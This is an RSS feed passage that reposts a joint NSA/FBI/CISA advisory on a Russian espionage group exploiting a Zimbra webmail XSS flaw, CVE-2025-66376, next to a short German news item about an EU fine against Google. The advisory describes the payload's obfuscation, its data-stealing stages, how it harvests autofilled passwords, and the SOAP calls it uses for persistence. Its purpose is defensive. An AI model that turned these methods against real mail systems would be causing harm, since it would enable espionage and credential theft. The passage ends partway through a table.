<description><![CDATA[In der Google Suche ist ein Vergleichsdienst für Flüge integriert.    –   CC-BY-NC-ND 4.0: netzpolitik.orgDie Suchergebnisse von Google sollen in Europa bald anders aussehen. Im Rahmen des Digital Markets Act (DMA) hat die EU-Kommission erstmals zwei Strafen gegen Google verhängt. Obwohl es um ve...]]></description>
<link>https://tsecurity.de/de/3689546/it-nachrichten/unfairer-wettbewerb-eu-kommission-verhaengt-890-millionen-euro-strafe-gegen-google/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689546/it-nachrichten/unfairer-wettbewerb-eu-kommission-verhaengt-890-millionen-euro-strafe-gegen-google/</guid>
<pubDate>Thu, 23 Jul 2026 17:50:48 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure class="wp-caption entry-thumbnail"><img width="2560" height="1440" src="https://cdn.netzpolitik.org/wp-upload/2026/07/Flugsuche-Google-light-scaled.jpg" class="attachment-landscape-860 size-landscape-860 wp-post-image" alt="" decoding="async" fetchpriority="high" srcset="https://cdn.netzpolitik.org/wp-upload/2026/07/Flugsuche-Google-light-scaled.jpg 2560w, https://cdn.netzpolitik.org/wp-upload/2026/07/Flugsuche-Google-light-860x484.jpg 860w, https://cdn.netzpolitik.org/wp-upload/2026/07/Flugsuche-Google-light-1200x675.jpg 1200w, https://cdn.netzpolitik.org/wp-upload/2026/07/Flugsuche-Google-light-380x214.jpg 380w, https://cdn.netzpolitik.org/wp-upload/2026/07/Flugsuche-Google-light-1536x864.jpg 1536w, https://cdn.netzpolitik.org/wp-upload/2026/07/Flugsuche-Google-light-2048x1152.jpg 2048w" sizes="(max-width: 2560px) 100vw, 2560px"><figcaption class="wp-caption-text">In der Google Suche ist ein Vergleichsdienst für Flüge integriert.  <span class="media-license-caption">  –   <a class="" rel="license" target="_blank" href="http://creativecommons.org/licenses/by-nc-nd/4.0/deed.de">CC-BY-NC-ND 4.0</a>: netzpolitik.org</span></figcaption></figure>Die Suchergebnisse von Google sollen in Europa bald anders aussehen. Im Rahmen des Digital Markets Act (DMA) hat die EU-Kommission erstmals zwei Strafen gegen Google verhängt. Obwohl es um verhältnismäßig wenig Geld geht, dürfte die Entscheidung in den USA trotzdem für Unmut sorgen.]]></content:encoded>
</item>
<item>
<title><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite]]></title>
<description><![CDATA[Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite
Executive summary 
A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboratio...]]></description>
<link>https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689407/sicherheitsluecken/russian-state-supported-cyber-actors-conduct-phishing-campaign-targeting-users-of-zimbra-collaboration-suite/</guid>
<pubDate>Thu, 23 Jul 2026 16:59:29 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="c-page-title__buttons"><a class="c-button" href="https://media.defense.gov/2026/Jul/22/2003965244/-1/-1/1/CSA_RUSSIA_PHISHING_TARGET_ZIMBRA.PDF">Russian State-Supported Cyber Actors Conduct Phishing Campaign Targeting Users of Zimbra Collaboration Suite</a></div>
<h2><strong>Executive summary</strong> </h2>
<p>A group of Russian state-supported cyber actors has been targeting and compromising various Western government and commercial organizations using the Zimbra Collaboration Suite (ZCS) software since at least July 2025. The Russian state-supported advanced persistent threat (APT) group’s activity is tracked in the cybersecurity community under several names (see <a href="https://www.cisa.gov/#cyber1">Cybersecurity industry tracking</a>), primarily as “LAUNDRY BEAR,” a name initially coined by the Netherlands General Intelligence and Security Service (AIVD) and Defence Intelligence and Security Service (MIVD) [<a href="https://www.cisa.gov/#wc1">1</a>].</p>
<p>LAUNDRY BEAR’s targeting is almost certainly to gather sensitive information for the Russian Federation, with these actors primarily focusing on the covert acquisition of email data. Previous campaigns indicated LAUNDRY BEAR relied on unsophisticated initial access techniques—including password spraying, phishing, and pass-the-cookie—allowing the group to successfully run high-volume operations. The latest campaign targeting ZCS uses a novel exploit that was a zero-day vulnerability when first exploited and continues to be successfully exploited. The vulnerability, Common Vulnerabilities and Exposures (CVE) <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, was patched in November 2025. This demonstrates LAUNDRY BEAR’s intent and ability to deploy increasingly sophisticated technical capabilities.</p>
<p>Unlike traditional phishing campaigns that persuade a user into taking an action, such as clicking a link or opening a file, LAUNDRY BEAR’s latest campaign leverages a view-based exploit that only requires a user to view a malicious email within a vulnerable version of the webmail service. Once viewed, the exploit attempts to exfiltrate the victim’s last 90 days of email communications, the organization email directory (i.e., Global Address List [GAL]), and other sensitive information to servers controlled by LAUNDRY BEAR. The exploit also attempts to establish persistent access to victim accounts through a variety of means as detailed in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section.</p>
<p>This Cybersecurity Advisory (CSA) warns of this ongoing malicious threat activity and urges organizations to update their vulnerable software and implement additional mitigations to thwart these Russian state-supported actors’ continued success. The CSA is being released by the following authoring and co-sealing agencies:</p>
<ul>
<li>United States National Security Agency (NSA)</li>
<li>United States Federal Bureau of Investigation (FBI)</li>
<li>Netherlands Defence Intelligence and Security Service (MIVD)</li>
<li>Netherlands General Intelligence and Security Service (AIVD)</li>
<li>United States Cybersecurity and Infrastructure Security Agency (CISA)</li>
<li>United States Defense Counterintelligence and Security Agency (DCSA)</li>
<li>United States Department of Defense Cyber Crime Center (DC3)</li>
<li>United States Department of the Treasury</li>
<li>United States Naval Criminal Investigative Service (NCIS)</li>
<li>Australian Signals Directorate’s Australian Cyber Security Centre (ASD’s ACSC)</li>
<li>Communications Security Establishment Canada’s (CSE’s) Canadian Centre for Cyber Security (Cyber Centre)</li>
<li>New Zealand National Cyber Security Centre (NCSC-NZ)</li>
<li>United Kingdom National Cyber Security Centre (NCSC-UK)</li>
<li>Czech Republic National Cyber and Information Security Agency (NÚKIB)<a href="https://www.cisa.gov/#f1"><sup>1</sup></a></li>
<li>Danish Defence Intelligence Service (DDIS)<a href="https://www.cisa.gov/#f2"><sup>2</sup></a></li>
<li>Estonian Foreign Intelligence Service (EFIS)<a href="https://www.cisa.gov/#f3"><sup>3</sup></a></li>
<li>Finnish Defence Intelligence (FDI)<a href="https://www.cisa.gov/#f4"><sup>4</sup></a></li>
<li>Finnish Security and Intelligence Service (SUPO)<a href="https://www.cisa.gov/#f5"><sup>5</sup></a></li>
<li>French General Directorate for Internal Security (DGSI)<a href="https://www.cisa.gov/#f6"><sup>6</sup></a></li>
<li>French National Cybersecurity Agency (ANSSI)<a href="https://www.cisa.gov/#f7"><sup>7</sup></a></li>
<li>Italian External Intelligence and Security Agency (AISE)<a href="https://www.cisa.gov/#f8"><sup>8</sup></a></li>
<li>Italian Internal Intelligence and Security Agency (AISI)<a href="https://www.cisa.gov/#f9"><sup>9</sup></a></li>
<li>Security and Intelligence Service of the Republic of Moldova (SIS RM)<a href="https://www.cisa.gov/#f10"><sup>10</sup></a></li>
<li>Polish Foreign Intelligence Agency (AW)<a href="https://www.cisa.gov/#f11"><sup>11</sup></a></li>
<li>The Military Counterintelligence Service of Poland (SKW)<a href="https://www.cisa.gov/#f12"><sup>12</sup></a></li>
<li>Spain National Intelligence Centre (CNI)<a href="https://www.cisa.gov/#f13"><sup>13</sup></a></li>
<li>Sweden National Cyber Security Centre (NCSC-SE)<a href="https://www.cisa.gov/#f14"><sup>14</sup></a></li>
</ul>
<p>The authoring agencies urge any organizations using ZCS to implement the recommendations listed within the <a href="https://www.cisa.gov/#mitigations1">Mitigations</a> section of this advisory to reduce the risk associated with this activity. This CSA also includes specific remediations for organizations to implement if they discover the presence of the listed <a href="https://www.cisa.gov/#ioc1">Indicators of compromise</a> (IOCs).  </p>
<p>As more organizations update their ZCS software based on this CSA, LAUNDRY BEAR may discontinue the current campaign exploiting this vulnerability; however, based on the success of this and previous campaigns, it is very likely that the group will continue to target ZCS and other email systems used by organizations in Western countries. The actors will almost certainly continue to rely on email to engage potential victims by exploiting novel vulnerabilities and, when necessary, use social engineering techniques to assist with their efforts. The authoring agencies recommend organizations regularly update their mail service software and continuously monitor their email systems and emails for malicious activity.</p>
<p>For a downloadable list of IOCs, see:</p>
<ul>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.xml">AA26-204A.stix.xml</a> (STIX XML)</li>
<li><a href="https://www.cisa.gov/sites/default/files/2026-07/AA26-204A.stix_.json">AA26-204A.stix.json</a> (STIX JSON)</li>
</ul>
<h2><strong>Cybersecurity industry tracking</strong><a class="ck-anchor"></a></h2>
<p>The cybersecurity industry provides overlapping cyber threat intelligence, indicators of compromise (IOCs), and mitigation recommendations related to these Russian state-supported cyber actors. While not exhaustive, the following are threat group names commonly used for these actors within the cybersecurity community:</p>
<ul>
<li>LAUNDRY BEAR</li>
<li>Void Blizzard [<a href="https://www.cisa.gov/#wc2">2</a>]</li>
<li>CL-STA-1114 [<a href="https://www.cisa.gov/#wc3">3</a>]</li>
<li>TA488 (formerly UNK_PitStop) [<a href="https://www.cisa.gov/#wc4">4</a>]</li>
</ul>
<p><strong>Note:</strong> Cybersecurity companies have different methods of tracking and attributing cyber actors, and this may not be a 1:1 correlation to the U.S. government’s understanding for all activity related to these groupings.</p>
<h2><strong>Background</strong></h2>
<p>Public advisories from Netherlands General Intelligence and Security Service (AIVD), Netherlands Defence Intelligence and Security Service (MIVD), and Microsoft highlighted these Russian state-supported advanced persistent threat (APT) actors in May 2025, calling them LAUNDRY BEAR and Void Blizzard respectively [<a href="https://www.cisa.gov/#wc1">1</a>] [<a href="https://www.cisa.gov/#wc2">2</a>]. Both advisories assessed that the group was engaged in malicious cyber activity as early as April 2024.  </p>
<p>The May 2025 advisories highlighted a cluster of activity targeting cloud-based email environments, including Microsoft Exchange in particular, and abusing legitimate APIs to perform data exfiltration in bulk [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/002/" target="_blank">T1114.002</a>]. The group relied on unsophisticated means of initial access, including procuring stolen credentials on criminal marketplaces [<a href="https://attack.mitre.org/versions/v19/techniques/T1078/" target="_blank">T1078</a>], and using social engineering techniques to lure targets into interacting with a malicious site masquerading as a legitimate one. As of April 2025, one of these sites resembled a European Defence &amp; Security Summit registration portal that required registrants to sign in to their Microsoft account to view. Once a user entered their Microsoft credentials into this malicious site, LAUNDRY BEAR’s modified version of the open source adversary emulation toolkit, Evilginx, intercepted the user’s credentials. LAUNDRY BEAR then used this authentication data, including passwords and session tokens, to access the compromised account and conduct mass email exfiltration, as well as harvest other information. This method of compromise is commonly known as an adversary-in-the-middle (AiTM) technique [<a href="https://attack.mitre.org/versions/v19/techniques/T1557/" target="_blank">T1557</a>].  </p>
<p>Beginning around July 2025, LAUNDRY BEAR shifted toward a more technical method of email compromise, highlighting their continued efforts to covertly acquire email communications from a variety of Western organizations of interest and deliver them to the Russian Federation. Using a custom-developed capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/001/" target="_blank">T1587.001</a>] named “<em>Улей</em>” or “<em>Ulej</em>” (Russian for beehive), LAUNDRY BEAR successfully targeted and exfiltrated sensitive user information from organizations who use the Zimbra Collaboration Suite (ZCS) product [<a href="https://attack.mitre.org/versions/v19/techniques/T1114/" target="_blank">T1114</a>]. Data LAUNDRY BEAR attempted to exfiltrate from compromised accounts included:</p>
<ul>
<li>Last 90 days of emails,</li>
<li>Email address,</li>
<li>Password [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/001/" target="_blank">T1589.001</a>],</li>
<li>Global Address List (GAL) [<a href="https://attack.mitre.org/versions/v19/techniques/T1087/" target="_blank">T1087</a>],</li>
<li>Two-factor authentication (2FA) tokens, and</li>
<li>Newly-created Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1098/" target="_blank">T1098</a>].</li>
</ul>
<p>The covert and persistent nature of this activity, along with the absence of any known financial extortion, almost certainly indicates this group’s involvement in espionage activities with Russian government backing. Additionally, extensive Ukrainian targeting, prior to use against U.S. and other NATO allies, outlines an increasing trend within Russian cyber threat groups to target Ukrainian users first—both as a priority target and as a testbench for malicious cyber techniques before broader global deployment.</p>
<h2><strong>Targeting details</strong></h2>
<p>LAUNDRY BEAR has targeted and compromised users in various organizations, including those associated with:</p>
<ul>
<li>the Defense Industrial Base (DIB),  </li>
<li>the federal and local government,</li>
<li>education,</li>
<li>energy,</li>
<li>law enforcement,  </li>
<li>media,  </li>
<li>non-governmental organizations, and</li>
<li>technology.</li>
</ul>
<h2><strong>Technical details</strong></h2>
<p><strong>Note:</strong> This advisory uses the <a href="https://attack.mitre.org/versions/v19/matrices/enterprise/" target="_blank">MITRE ATT&amp;CK® Matrix for Enterprise</a> framework, version 19. This advisory also uses <a href="https://d3fend.mitre.org/" target="_blank">MITRE D3FEND<sup>TM</sup></a> version 1.4.0<a href="https://www.cisa.gov/#f15"><sup>15</sup></a>. See <a href="https://www.cisa.gov/#appendixa">Appendix A</a> and <a href="https://www.cisa.gov/#appendixb">Appendix B</a> for tables of the activity mapped to MITRE ATT&amp;CK and D3FEND tactics, techniques, and countermeasures.</p>
<p><em>Ulej </em>is a novel data exfiltration and aggregation capability, that currently (as of the publication of this report) supports a campaign specifically targeting users of ZCS webmail servers. This capability is used to exploit <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> [Common Weakness Enumeration (CWE) <a href="https://cwe.mitre.org/data/definitions/79.html" target="_blank">CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'</a>)], but likely could be adapted to exploit other vulnerabilities. It exfiltrates emails and other sensitive user data from a victim’s system immediately after exploitation and stores the data in an actor-controlled unattributable virtual private server (VPS) [<a href="https://attack.mitre.org/versions/v19/techniques/T1074/002/" target="_blank">T1074.002</a>] running LAUNDRY BEAR’s “Flowerbed” collection framework. The collected data is almost certainly further exfiltrated to internal network resources for review and long-term retention.</p>
<h3><em><strong>Reconnaissance</strong></em></h3>
<p>LAUNDRY BEAR uses the <em>Ulej </em>capability to exploit the <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> vulnerability in organizations using ZCS. This campaign’s targeted victimology and limited exploitation capabilities likely indicate this group manually identifies and targets the victim organizations. LAUNDRY BEAR likely identifies organizations with public-facing Zimbra infrastructure by port scanning [<a href="https://attack.mitre.org/versions/v19/techniques/T1595/" target="_blank">T1595</a>] and fingerprinting datasets easily procured through various commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1596/005/" target="_blank">T1596.005</a>].  </p>
<p>After identifying a target organization, the group likely compiles email addresses for individual users to target with the exploit [<a href="https://attack.mitre.org/versions/v19/techniques/T1589/002/" target="_blank">T1589.002</a>] from datasets offered by commercial vendors [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/002/" target="_blank">T1597.002</a>], open source intelligence [<a href="https://attack.mitre.org/versions/v19/techniques/T1593/" target="_blank">T1593</a>], or previously exfiltrated data [<a href="https://attack.mitre.org/versions/v19/techniques/T1597/" target="_blank">T1597</a>].  </p>
<h3><em><strong>Resource development </strong></em><a class="ck-anchor"></a></h3>
<p>The actors procure VPSs from a variety of providers [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/003/" target="_blank">T1583.003</a>], including those with Know Your Customer (KYC) requirements, and often use fabricated identities. LAUNDRY BEAR primarily uses Mullvad VPN [<a href="https://attack.mitre.org/versions/v19/techniques/T1583/">T1583</a>] when interacting with these servers, further demonstrating the group’s intent to mask their identity and maintain operations security (OPSEC). After the server is provisioned, an automated process deploys the Docker containers necessary for <em>Ulej’s</em> Flowerbed framework [<a href="https://attack.mitre.org/versions/v19/techniques/T1608/">T1608</a>], which then receives and aggregates the data <em>Ulej</em> exfiltrates. These servers are typically only used for 7-60 days before moving to new infrastructure.</p>
<h4><strong>Flowerbed framework</strong></h4>
<p>Flowerbed is a Python project that uses Docker for containerization. The project includes four different Docker containers:</p>
<ul>
<li>Catcher,</li>
<li>Certbot,</li>
<li>Nginx, and</li>
<li>Gardener.</li>
</ul>
<p>Catcher acts as both a DNS and HTTP server to receive and aggregate exfiltrated victim information [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/">T1048</a>]. For additional information on Catcher, refer to the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory. Flowerbed’s next container, Certbot, is based on one of the official Certbot containers, which allows for automated generation of Let’s Encrypt certificates using DNS challenges through Cloudflare. This certificate can then be used by the Nginx container, which serves as an HTTPS reverse proxy for Catcher, enabling Flowerbed to disguise some of its exfiltration activity through an encrypted communications channel [<a href="https://attack.mitre.org/versions/v19/techniques/T1048/002/" target="_blank">T1048.002</a>]. The Nginx reverse proxy also validates that the Server Name Indicator (SNI) value contains “*.i.*” prior to forwarding the traffic to Catcher. If the SNI does not contain that string, the Nginx server returns a 444 error to the client. This is likely an attempt to reject non-Ulej connections. Finally, the Gardener container functions as a health check for the Catcher service. Gardener is a simple Python script that validates Catcher correctly receives and processes data.</p>
<p>The simplistic Flowerbed codebase has indications that artificial intelligence (AI) played a role in its development. This highlights how AI is increasingly being used to develop malicious capabilities [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/007/" target="_blank">T1588.007</a>]. The dependence on AI for a simple capability, such as Flowerbed, alongside a previous reliance on open source capabilities, such as Evilginx2 [<a href="https://attack.mitre.org/versions/v19/techniques/T1588/002/" target="_blank">T1588.002</a>], likely indicates a lack of advanced technical knowledge within LAUNDRY BEAR, especially in relation to true software development capabilities.</p>
<h3><em><strong>Initial access</strong></em></h3>
<p>To gain initial access, LAUNDRY BEAR sends an email containing a malicious JavaScript payload to the target [<a href="https://attack.mitre.org/versions/v19/techniques/T1566/" target="_blank">T1566</a>]. Through exploitation of <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a>, this JavaScript payload is immediately executed once the user views the malicious email [<a href="https://attack.mitre.org/versions/v19/techniques/T1203/" target="_blank">T1203</a>], such as the one shown in <a href="https://www.cisa.gov/#figure1"><strong>Figure 1</strong></a>, in the ZCS webmail platform. Since at least November 2025, LAUNDRY BEAR began sending these phishing emails from victim infrastructure through compromised accounts [<a href="https://attack.mitre.org/versions/v19/techniques/T1199/" target="_blank">T1199</a>], as shown in the email metadata in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>. These compromised accounts were likely previous victims of this, or another LAUNDRY BEAR, campaign and their use is intended to further obfuscate and frustrate anti-phishing tools and training.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure1.png?itok=yrzcl7tK" width="604" height="235" alt="Figure 1: Example of malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 1: Example of malicious email</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure2.png?itok=vEulmmyx" width="604" height="102" alt="Figure 2: Headers from an example malicious email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 2: Headers from an example malicious email</strong></em></figcaption>
  </figure>
<p>According to the National Vulnerability Database (NVD), <a href="https://nvd.nist.gov/vuln/detail/CVE-2025-66376" target="_blank">CVE-2025-66376</a> was initially published on 5 January 2026. This vulnerability allows for execution of a JavaScript payload included in email content due to improper sanitization of Cascading Style Sheet’s (CSS) @import directives within an email [<a href="https://www.cisa.gov/#wc5">5</a>]. Because the activity attributed to this campaign began in July 2025—months before Synacor released a patch and the CVE was published—the payload initially exploited a zero-day vulnerability at that time [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/004/" target="_blank">T1587.004</a>].  </p>
<p><strong>Utilization of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability.</strong></p>
<p>Hidden in LAUNDRY BEAR’s email is a Base64 encoded payload within the “onload” field of a Scalable Vector Graphics (SVG) element [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/017/" target="_blank">T1027.017</a>], as shown in <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>. Leading up to the inclusion of this payload in the SVG element are various instances of @import directives, as required to leverage <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376">CVE-2025-66376</a>. This payload includes an XOR encrypted final script encoded in a Base64 inner payload (see <a href="https://www.cisa.gov/#figure3"><strong>Figure 3</strong></a>) [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/013/" target="_blank">T1027.013</a>]. The outer payload decodes and decrypts the inner payload using an XOR function and a hardcoded key and then executes the script contained within the inner payload containing the collection and exfiltration logic. By changing the key used for the XOR encryption of the inner payload or adding additional @import directives with non-functional code [<a href="https://attack.mitre.org/versions/v19/techniques/T1027/010/" target="_blank">T1027.010</a>], LAUNDRY BEAR can easily generate new payloads that bypass basic threat detection signatures. This malicious payload attempts to collect and exfiltrate information in 12 asynchronous stages [<a href="https://attack.mitre.org/versions/v19/techniques/T1119/">T1119</a>]. The stages in order of appearance within the payload are as follows:</p>
<ol>
<li>sendStartPing,</li>
<li>gather_email,</li>
<li>gather_environment,</li>
<li>gather_2fa_codes,</li>
<li>gather_app_password,</li>
<li>gather_device_status,</li>
<li>gather_oauth_consumers,</li>
<li>gather_autocomplete_password,</li>
<li>enable_mail_protocols,</li>
<li>gather_gal,</li>
<li>sendArchives, and</li>
<li>sendFinishPing. </li>
</ol>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure3_0.png?itok=M-bj5-nb" width="607" height="577" alt="Figure 3: Malicious payload of example email">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 3: Malicious payload of example email</strong></em></figcaption>
  </figure>
<p>Use of a zero-day exploit within this campaign demonstrates the ability for even emerging threat groups like LAUNDRY BEAR to operationalize novel exploits into a highly successful capability [<a href="https://attack.mitre.org/versions/v19/techniques/T1587/" target="_blank">T1587</a>].</p>
<h3><em><strong>Persistence and credential access</strong></em><a class="ck-anchor"></a></h3>
<p>To establish sustained persistence into the victim’s email account, the script attempts to modify account preferences and collect authentication information. Any collected credentials are later exfiltrated, as further described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section below. Other campaigns attributed to LAUNDRY BEAR also demonstrated the group’s ability to circumvent multi-factor authentication through session token replay [<a href="https://attack.mitre.org/versions/v19/techniques/T1550/004/" target="_blank">T1550.004</a>], and the Zimbra campaign follows a similar trend.</p>
<p>The script used in this campaign tries to discover the victim’s email address during the <em>gather_email</em> stage [<a href="https://attack.mitre.org/techniques/T1087/" target="_blank">T1087</a>]. The script searches for this email address in two ways. First, it examines the <em>batchInfoResponse </em>variable, which an HTML script element on the webpage can define, for an email address. Even if the script finds an email address there, it also checks whether it acquired a Cross-Site Request Forgery (CSRF) token as described later in the <a href="https://www.cisa.gov/#collection1">Collection</a> section of this advisory. If so, the script uses the “GetIdentitiesRequest” Simple Object Access Protocol (SOAP) command under the “ZimbraAccount” namespace to determine the victim’s email address [<a href="https://attack.mitre.org/versions/v19/techniques/T1185/" target="_blank">T1185</a>] and then exfiltrates it. However, if the script does not have a CSRF token or the SOAP request fails, the script exfiltrates the email value recovered from the first method instead. If both attempts fail to capture the victim’s email, the script sends a JavaScript Object Notation (JSON) payload with a key of “email” and value of <em>null </em>over HTTPS and does not attempt DNS exfiltration.</p>
<p>During the <em>gather_autocomplete_password</em> stage, the script attempts to collect the victim’s saved password via the autocomplete feature of the victim’s password manager. The script injects two HTML div elements requesting login credentials onto the page outside of the victim’s view, as shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a><strong> </strong>and <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. After waiting five seconds, the script then attempts to extract the password provided automatically by the password manager from the input element shown in <a href="https://www.cisa.gov/#figure4"><strong>Figure 4</strong></a>. If there is no value in that input field, it checks the password input field shown in <a href="https://www.cisa.gov/#figure5"><strong>Figure 5</strong></a>. If neither input field contains a value, a JSON payload with a key of “autocomplete_password” and value of <em>null </em>is sent over HTTPS and DNS exfiltration is not attempted.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure4.png?itok=ZOZ8JHZC" width="1024" height="188" alt="Figure 4: First illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 4: First illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/figure5.png?itok=8xZU_GCa" width="1024" height="115" alt="Figure 5: Second illegitimate login HTML element">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 5: Second illegitimate login HTML element</strong></em></figcaption>
  </figure>
<p>LAUNDRY BEAR almost certainly relies on a mail client using the Internet Message Access Protocol (IMAP) for persistent access to the victim’s mailbox. During the <em>enable_mail_protocols</em> stage, a SOAP request leveraging the “ModifyPrefsRequest” command under the “ZimbraAccount” namespace is sent. This request attempts to set the “zimbraPrefImapEnabled” preference to TRUE. While the default setting for “zimbraPrefImapEnabled” is not well documented, this action is almost certainly intended to ensure that IMAP access to the victim’s mailbox is enabled.</p>
<p>ZCS does not support 2FA for some mail clients, including IMAP. To support users who rely on IMAP clients, ZCS allows for the generation of Application Passcodes. Application Passcodes are randomly generated passwords that can be used for clients that cannot support the normal 2FA process to authenticate. During the <em>gather_app_password</em> stage, the script makes a SOAP request using the “CreateAppSpecificPasswordRequest” command under the “ZimbraAccount” namespace to create a new Application Passcode [<a href="https://attack.mitre.org/versions/v19/techniques/T1556/006/" target="_blank">T1556.006</a>]. The SOAP request uses “ZimbraWeb” as the name of the application.</p>
<p>Additionally, the script also attempts to collect 2FA tokens. During the <em>gather_2fa_codes</em> stage, the script makes a SOAP request using the “GetScratchCodesRequest” command under the “ZimbraAccount” namespace. The script then attempts to exfiltrate any non-null 2FA codes collected this way. The number of codes can vary, and each code is exfiltrated to Flowerbed individually.</p>
<h3><em><strong>Collection</strong></em><a class="ck-anchor"></a></h3>
<p>As demonstrated in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, this script relies heavily on SOAP requests to collect victim information. To make these requests, the script aims to acquire the victim’s current CSRF token, which it attempts to access within the webpage’s local storage using localStorage.getItem("csrfToken"). If the script is unable to acquire this CSRF token, it will be unable to make any SOAP requests. In addition to the SOAP commands documented in the <a href="https://www.cisa.gov/#persistence1">Persistence and credential access</a> section, other SOAP commands executed to collect victim information are shown in <a href="https://www.cisa.gov/#table1"><strong>Table 1</strong></a>.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 1: Additional SOAP commands used</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>SOAP Command </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Namespace </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p><strong>Stage </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraSync </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>zimbraAccount </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
<div class="OutlineElement Ltr SCXW195872110 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW195872110 BCX8">
